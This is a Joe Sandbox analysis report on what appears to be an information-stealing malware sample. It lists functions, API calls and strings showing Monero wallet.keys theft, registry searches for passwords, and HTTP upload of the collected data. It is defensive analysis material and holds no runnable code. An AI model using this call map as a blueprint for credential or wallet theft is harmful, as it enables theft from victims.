Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$-A$-A
API String ID: 148854478-602752961
Opcode ID: e183de8ad69be28840d2cf6897d3804b69c1c75c35a8e68d1b55f53e2e4ad93b
Instruction ID: 38116f3ce93ed53bffdba46f35b2307ef6cb7c9f678a3856a9fc947e80efe624
Opcode Fuzzy Hash: e183de8ad69be28840d2cf6897d3804b69c1c75c35a8e68d1b55f53e2e4ad93b
Instruction Fuzzy Hash: A0125175920218AACB14EBA1DC95FDEB739BF14304F41429EF10A63091DF386B89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 0040A030 Relevance: 32.0, APIs: 21, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A362
RtlAllocateHeap.NTDLL(00000000), ref: 0040A369
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040A14A

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041FD888,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

lstrcat.KERNEL32(?,00000000), ref: 0040A4AA
lstrcat.KERNEL32(?,0041DA80), ref: 0040A4B9
lstrcat.KERNEL32(?,00000000), ref: 0040A4CC
lstrcat.KERNEL32(?,0041DA84), ref: 0040A4DB
lstrcat.KERNEL32(?,00000000), ref: 0040A4EE
lstrcat.KERNEL32(?,0041DA88), ref: 0040A4FD
lstrcat.KERNEL32(?,00000000), ref: 0040A510
lstrcat.KERNEL32(?,0041DA8C), ref: 0040A51F
lstrcat.KERNEL32(?,00000000), ref: 0040A532
lstrcat.KERNEL32(?,0041DA90), ref: 0040A541
lstrcat.KERNEL32(?,00000000), ref: 0040A554
lstrcat.KERNEL32(?,0041DA94), ref: 0040A563

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0040A5AC
lstrcat.KERNEL32(?,0041DA98), ref: 0040A5C6
lstrlen.KERNEL32(?), ref: 0040A605
lstrlen.KERNEL32(?), ref: 0040A614
memset.MSVCRT ref: 0040A65D

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

DeleteFileA.KERNEL32(00000000), ref: 0040A689

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-0
Opcode ID: dc7bccc8004eed63f55d8513578fb7438147e61491ea64dd30b1a0ec20e3afb5
Instruction ID: c7be15c6cc4abab23e8f274795eadccbdda502ec8511485448b77053ecd04baf
Opcode Fuzzy Hash: dc7bccc8004eed63f55d8513578fb7438147e61491ea64dd30b1a0ec20e3afb5
Instruction Fuzzy Hash: B0029475900208ABCB14EBA1DC96EEE773ABF14305F11415EF507B6091DF38AE85CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C640 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04206728,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0040C6D3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040C817
RtlAllocateHeap.NTDLL(00000000), ref: 0040C81E
lstrcat.KERNEL32(?,00000000), ref: 0040C958
lstrcat.KERNEL32(?,0041DBD8), ref: 0040C967
lstrcat.KERNEL32(?,00000000), ref: 0040C97A
lstrcat.KERNEL32(?,0041DBDC), ref: 0040C989
lstrcat.KERNEL32(?,00000000), ref: 0040C99C
lstrcat.KERNEL32(?,0041DBE0), ref: 0040C9AB
lstrcat.KERNEL32(?,00000000), ref: 0040C9BE
lstrcat.KERNEL32(?,0041DBE4), ref: 0040C9CD
lstrcat.KERNEL32(?,00000000), ref: 0040C9E0
lstrcat.KERNEL32(?,0041DBE8), ref: 0040C9EF
lstrcat.KERNEL32(?,00000000), ref: 0040CA02
lstrcat.KERNEL32(?,0041DBEC), ref: 0040CA11
lstrcat.KERNEL32(?,00000000), ref: 0040CA24
lstrcat.KERNEL32(?,0041DBF0), ref: 0040CA33

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041FD888,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

lstrlen.KERNEL32(?), ref: 0040CA7A
lstrlen.KERNEL32(?), ref: 0040CA89
memset.MSVCRT ref: 0040CAD2

Part of subcall function 00417070: StrCmpCA.SHLWAPI(00000000,0041DBD0,0040C8F2,0041DBD0,00000000), ref: 0041708F

DeleteFileA.KERNEL32(00000000), ref: 0040CAFE

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: ddc68b4faf9fd6cfd03a477aaab1a6e14f1876e64d104e0eea04d4d6aef363fc
Instruction ID: d19a215fe10c8d685073d70632a82ede6d900fe39af11de2b9913f634a463049
Opcode Fuzzy Hash: ddc68b4faf9fd6cfd03a477aaab1a6e14f1876e64d104e0eea04d4d6aef363fc
Instruction Fuzzy Hash: B1E15275910208ABCB14EBA1DD96EEE773ABF14305F11415EF107B6091DF38AE85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00404540 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004045D5
StrCmpCA.SHLWAPI(?,04200FC0), ref: 004045FA
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040477A
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,0041D797,00000000,?,?,00000000,?,",00000000,?,04201050), ref: 00404AA8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00404AC4
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404AD8
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404B09
InternetCloseHandle.WININET(00000000), ref: 00404B6D
InternetCloseHandle.WININET(00000000), ref: 00404B85
HttpOpenRequestA.WININET(00000000,04200FD0,?,04208A00,00000000,00000000,00400100,00000000), ref: 004047D5

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

InternetCloseHandle.WININET(00000000), ref: 00404B8F

Strings

------, xrefs: 0040467D
", xrefs: 004048B2
------, xrefs: 004047E8
------, xrefs: 00404929
", xrefs: 004049F3

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: 934bb100f5119b83edcb9fd6f9fa197993457016e65ac099dd7a118cb910b985
Instruction ID: e2fbf7176fc7eb33215a1d8fdd4a82cafc16ed7ff926df7fa74fdc4e30892001
Opcode Fuzzy Hash: 934bb100f5119b83edcb9fd6f9fa197993457016e65ac099dd7a118cb910b985
Instruction Fuzzy Hash: F21252769102189ACB14EB91DC92FDEB739AF54308F51419EF10672491DF38AF89CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00414AE0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 179
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

RegOpenKeyExA.KERNEL32(00000000,04203830,00000000,00020019,00000000,0041D289), ref: 00414B41
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Strings

?, xrefs: 00414B17
%s\%s, xrefs: 00414BEA
- , xrefs: 00414D40

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: f425f73bd7a44a6b109507ece3bbcb99bef99a4d6a9d3e44cc97b06e4837372c
Instruction ID: fbc8112ab3bfbfb2fdc98052a2813d45c496b4d84dbcb1503bfdf8522ef193f5
Opcode Fuzzy Hash: f425f73bd7a44a6b109507ece3bbcb99bef99a4d6a9d3e44cc97b06e4837372c
Instruction Fuzzy Hash: F1712A7590021C9BDB64DB60DD91FDA77B9BF88304F0086D9A109A6180DF74AFCACF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040F630 Relevance: 19.8, APIs: 13, Instructions: 298stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F667
strtok_s.MSVCRT ref: 0040FA8F

Part of subcall function 00416E20: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137D6,00000000,?,041FD888,?,0041D8AC,?,00000000), ref: 00416E2B
Part of subcall function 00416E20: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E85

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: bfa52de86468f06c75ce6d1a715682b1cd9076c0a6941fb9bd0619d7694f907c
Instruction ID: 2b3dd8003c7db60ae6f20250f168b485c10b0cdbdb2f80ad8031a0e3e82ebbeb
Opcode Fuzzy Hash: bfa52de86468f06c75ce6d1a715682b1cd9076c0a6941fb9bd0619d7694f907c
Instruction Fuzzy Hash: B4C1A7B5900619DBCB24EF60DC89FDA7779AF58304F00459EE40DA7191DB34AAC9CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004012D0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004012E7

Part of subcall function 00401260: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
Part of subcall function 00401260: HeapAlloc.KERNEL32(00000000), ref: 0040127B
Part of subcall function 00401260: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00401297
Part of subcall function 00401260: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
Part of subcall function 00401260: RegCloseKey.ADVAPI32(?), ref: 004012BF

lstrcat.KERNEL32(?,00000000), ref: 0040130F
lstrlen.KERNEL32(?), ref: 0040131C
lstrcat.KERNEL32(?,.keys), ref: 00401337

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,04206728,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401425

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

DeleteFileA.KERNEL32(00000000), ref: 004014A9
memset.MSVCRT ref: 004014D0

Part of subcall function 00404DC0: lstrlen.KERNEL32(00000000), ref: 00404E4A
Part of subcall function 00404DC0: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404EBB
Part of subcall function 00404DC0: StrCmpCA.SHLWAPI(?,04200FC0), ref: 00404ED9

Strings

wallet_path, xrefs: 004012F0
\Monero\wallet.keys, xrefs: 0040134D
.keys, xrefs: 0040132B
SOFTWARE\monero-project\monero-core, xrefs: 004012F5

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$lstrlen$AllocCloseHeapLocalOpenmemset$ChangeCopyCreateDeleteFindFreeInternetNotificationProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2054947926-218353709
Opcode ID: bcf02e3bd6a5e9bd87c62f126014b2e7b3a913a3d9291dbfa5b5e0c127ed371d
Instruction ID: 465d6e3be360dc7981781b6de12631b9db2cd28431e3bfe2701297f35846b4c8
Opcode Fuzzy Hash: bcf02e3bd6a5e9bd87c62f126014b2e7b3a913a3d9291dbfa5b5e0c127ed371d
Instruction Fuzzy Hash: DD5123B195021897CB15EB61DD92BED773D9F54304F4041EDB60A62091DE385BC5CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406FA0 Relevance: 19.3, APIs: 8, Strings: 3, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406CA0: memset.MSVCRT ref: 00406CE4
Part of subcall function 00406CA0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
Part of subcall function 00406CA0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
Part of subcall function 00406CA0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
Part of subcall function 00406CA0: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
Part of subcall function 00406CA0: HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

lstrcat.KERNEL32(3082E020,0041DEB8), ref: 00406FD6
lstrcat.KERNEL32(3082E020,00000000), ref: 00407018
lstrcat.KERNEL32(3082E020, : ), ref: 0040702A
lstrcat.KERNEL32(3082E020,00000000), ref: 0040705F
lstrcat.KERNEL32(3082E020,0041DEC0), ref: 00407070
lstrcat.KERNEL32(3082E020,00000000), ref: 004070A3
lstrcat.KERNEL32(3082E020,0041DEC4), ref: 004070BD
task.LIBCPMTD ref: 004070CB

Strings

`v@, xrefs: 00406FAF, 004070C8, 00406FFE, 00407034, 0040707C, 00407045, 00406FB2
h0A, xrefs: 00406FA6, 00406FA9
: , xrefs: 0040701E

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: : $`v@$h0A
API String ID: 3191641157-3559972273
Opcode ID: 22c65c759e4008ac886b6aeda8a47d70719bcccf3909e077351c77a1654b374d
Instruction ID: d9fe8ddf8edd41d5d79e2c2aa3549d60ad86c8a123fe42dd1537da3b5299582f
Opcode Fuzzy Hash: 22c65c759e4008ac886b6aeda8a47d70719bcccf3909e077351c77a1654b374d
Instruction Fuzzy Hash: 4B318371E05504ABCB14EBA0DD99EFF7B75BF44305B104519F102BB290DA38BD46CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00415710 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 184COMMON

Download Yara Rule

Strings

image/jpeg, xrefs: 00415836

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: ebc458d2954fa87928cbffb1aa81fa40cba8a6fc2b0c4bc732e2d226e351cda2
Instruction ID: 4e1e11a2c406ea1305e74ab4ef0d66e5904d243d4ada77d8c1e4b1ca7303bf9d
Opcode Fuzzy Hash: ebc458d2954fa87928cbffb1aa81fa40cba8a6fc2b0c4bc732e2d226e351cda2
Instruction Fuzzy Hash: 30714CB5910608EBDB14EFE4EC85FEEB7B9BF48300F108509F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction ID: 212e66a44237aadac39c144ffd634e87161c2b2b5cb707631054264fe3c499ea
Opcode Fuzzy Hash: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction Fuzzy Hash: 4F613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004141C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
HeapAlloc.KERNEL32(00000000), ref: 004142A7
wsprintfA.USER32 ref: 004142DD

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

C, xrefs: 004141E9
\, xrefs: 004141FD
:, xrefs: 004141F9

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction ID: 52054a8b39965f6583c41ffabf349f0ba0ed2356e3a02770a6039194ee1378f4
Opcode Fuzzy Hash: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction Fuzzy Hash: BA3194B0D00258EBDF20DFA4DC45BEE77B4AF48304F104099F5496B281DB78AAD5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 004093C3, 00409486
'@, xrefs: 00409426, 00409449, 00409429, 0040946F

Memory Dump Source

Source File: 00000000.00000002.2243889460.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2243889460.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243889460.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_YEnIrzZUUw.jbxd

Yara matches

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID: '@$'@
API String ID: 1815715184-345573653
Opcode ID: 48f4b7413470cb3276c60afe27c6050599c7e1b25b920e3e6a5c65917fe61f9c
